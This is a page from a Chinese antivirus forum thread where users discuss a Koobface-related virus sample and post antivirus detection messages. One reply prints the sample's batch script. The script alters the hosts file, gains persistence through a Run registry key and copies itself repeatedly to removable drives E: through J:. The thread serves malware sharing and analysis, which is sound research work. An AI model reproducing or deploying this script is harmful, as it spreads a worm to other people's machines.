123
返回列表 发新帖
楼主: taoyuan237
收起左侧

[病毒样本] SAM.TO你被。。

  [复制链接]
schumi小粉
发表于 2009-12-4 13:05:05 | 显示全部楼层
继续潜水

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
andrewhxism
发表于 2009-12-4 21:10:44 | 显示全部楼层
Warning

--------------------------------------------------------------------------------

In order not to compromise your security, this page will not be accessed


A virus or unwanted program has been detected
in the HTTP data on the requested page.

--------------------------------------------------------------------------------

Requested URL: http://bbs.kafan.cn/attachment.p ... wYXhaeHE1cldIZ3c%3D
Information Contains recognition pattern of the DR/Koobface.A.3 dropper


--------------------------------------------------------------------------------

Generated by AntiVir 网站监控 9.0.5.0, AVE 8.2.1.92, VDF 7.10.1.164
雨宫优子
发表于 2009-12-5 12:28:26 | 显示全部楼层
@shift
@attrib %windir%\System32\drivers\etc\hosts -a -r -s -h
@copy "%0" "%windir%\samto.exe"
@reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsSystem /t REG_SZ /d %windir%\samto.exe
@echo Sam.to Suck!>c:\samto.txt
@echo 你認為你能怎麼樣嗎?Koobface author>>c:\samto.txt
@notepad c:\samto.txt
:bkground
@copy "%0" "E:\WindowsSystem.exe"
@copy "%0" "F:\WindowsSystem.exe"
@copy "%0" "G:\WindowsSystem.exe"
@copy "%0" "H:\WindowsSystem.exe"
@copy "%0" "I:\WindowsSystem.exe"
@copy "%0" "J:\WindowsSystem.exe"
@ping 127.0.0.1 -n 1000
@goto bkground
:eofme
飞过........
62590423
发表于 2009-12-5 12:32:36 | 显示全部楼层
蠕虫名称:Worm.BAT.Koobface.a

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\091019-4-2.EXE
是蠕虫程序!
已成功阻止其运行,是否要删除此文件?
megachan
头像被屏蔽
发表于 2009-12-5 13:12:13 | 显示全部楼层
小红伞 没反应  杀也没反应啊!!
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-4-20 00:52 , Processed in 0.070599 second(s), 3 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表